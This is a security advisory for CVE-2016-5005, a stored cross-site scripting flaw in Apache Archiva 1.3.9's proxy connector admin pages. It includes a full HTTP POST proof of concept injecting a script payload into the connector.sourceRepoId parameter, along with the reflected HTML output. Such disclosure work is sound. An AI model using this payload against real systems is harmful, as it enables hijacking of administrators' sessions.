RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Apache Archiva
Vendor URL:     https://archiva.apache.org
Type:           Cross-Site Scripting [CWE-79]
Date found:     2016-05-31
Date published: 2016-07-11
CVSSv3 Score:   5.5 (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N)
CVE:            CVE-2016-5005


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Apache Archiva v1.3.9
older versions may be affected too.


4. INTRODUCTION
===============
Apache Archiva™ is an extensible repository management software that helps
taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The script "/archiva/admin/addProxyConnector_commit.action" is vulnerable to
an authenticated persistent Cross-Site Scripting vulnerability when user-
supplied input to the HTTP POST parameter "connector.sourceRepoId" is
processed by the web application. Since the application does not properly
validate and sanitize this parameter, it is possible to place arbitrary
script code permanently on the "Administration - Proxy Connectors" page as
well as on the "Admin: Delete Proxy Connector" page.

The following Proof-of-Concept triggers this vulnerability and adds a new
proxy connector called "XSS<script>alert(document.cookie)</script>":

POST /archiva/admin/addProxyConnector_commit.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=1vabu6a1f9wye;
rbkSignon=7574033ea6d44b4a9722cfa53a7b4001;
_ga=GA1.2.1956020753.1461333249;
__utma=86544839.1956020753.1461333249.1461575160.1461575160.1;
__utmz=86544839.1461575160.1.1.utmcsr=premium_main|utmccn=(not%20set)|utmcmd=(not%20set)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567

pattern=&connector.order=0&connector.proxyId=%28direct+connection%29&connector.sourceRepoId=XSS<script>alert(document.cookie)</script>&connector.targetRepoId=com.springsource.repository.bundles.external&connector.policies%5B%27propagate-errors-on-update%27%5D=always&connector.policies%5B%27cache-failures%27%5D=no&connector.policies%5B%27releases%27%5D=always&connector.policies%5B%27propagate-errors%27%5D=stop&connector.policies%5B%27checksum%27%5D=fail&connector.policies%5B%27snapshots%27%5D=always&propertyKey=&propertyValue=&blackListPattern=&whiteListPattern=

The payload is then reflected on the "Administration - Proxy Connectors":

<div class="managedRepo">
    <img src="/archiva/images/archiva-splat-32.gif">
    <p class="id">XSS<script>alert(document.cookie)</script></p>
    <p class="name"></p>
  </div>

And on the "Admin: Delete Proxy Connector" page:

<p>
    Are you sure you want to delete proxy connector <code>[
XSS<script>alert(document.cookie)</script> ,
maven2-repository.dev.java.net ]</code> ?
  </p>


6. RISK
=======
To successfully exploit this vulnerability, a user with administrative
rights must trick another authenticated user with administrative rights
to visit one of the affected pages. Since this scenario is quite unlikely,
the attack likelihood can be increased by combining this vulnerability
with the Cross-Site Request Forgery vulnerability as described in
RCESEC-2016-003 (CVE-2016-4469).

The vulnerability allows remote attackers to permanently embed arbitrary
script code into the context of the Apache Archiva administrative backend
interface, which offers a wide range of possible attacks such as stealing
cookies or attacking the browser and its components of a user visiting the
page.


7. SOLUTION
===========
Upgrade/Migrate to Apache Archiva 2.2.1


8. REPORT TIMELINE
==================
2016-05-31: Discovery of the vulnerability
2016-05-31: Notified vendor via public security mail address
2016-06-06: No response, sent out another notification
2016-06-10: Vendor states that this version is out of support
2016-07-07: Vendor assigns CVE-2016-5005
2016-07-11: Advisory released


9. REFERENCES
=============
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5005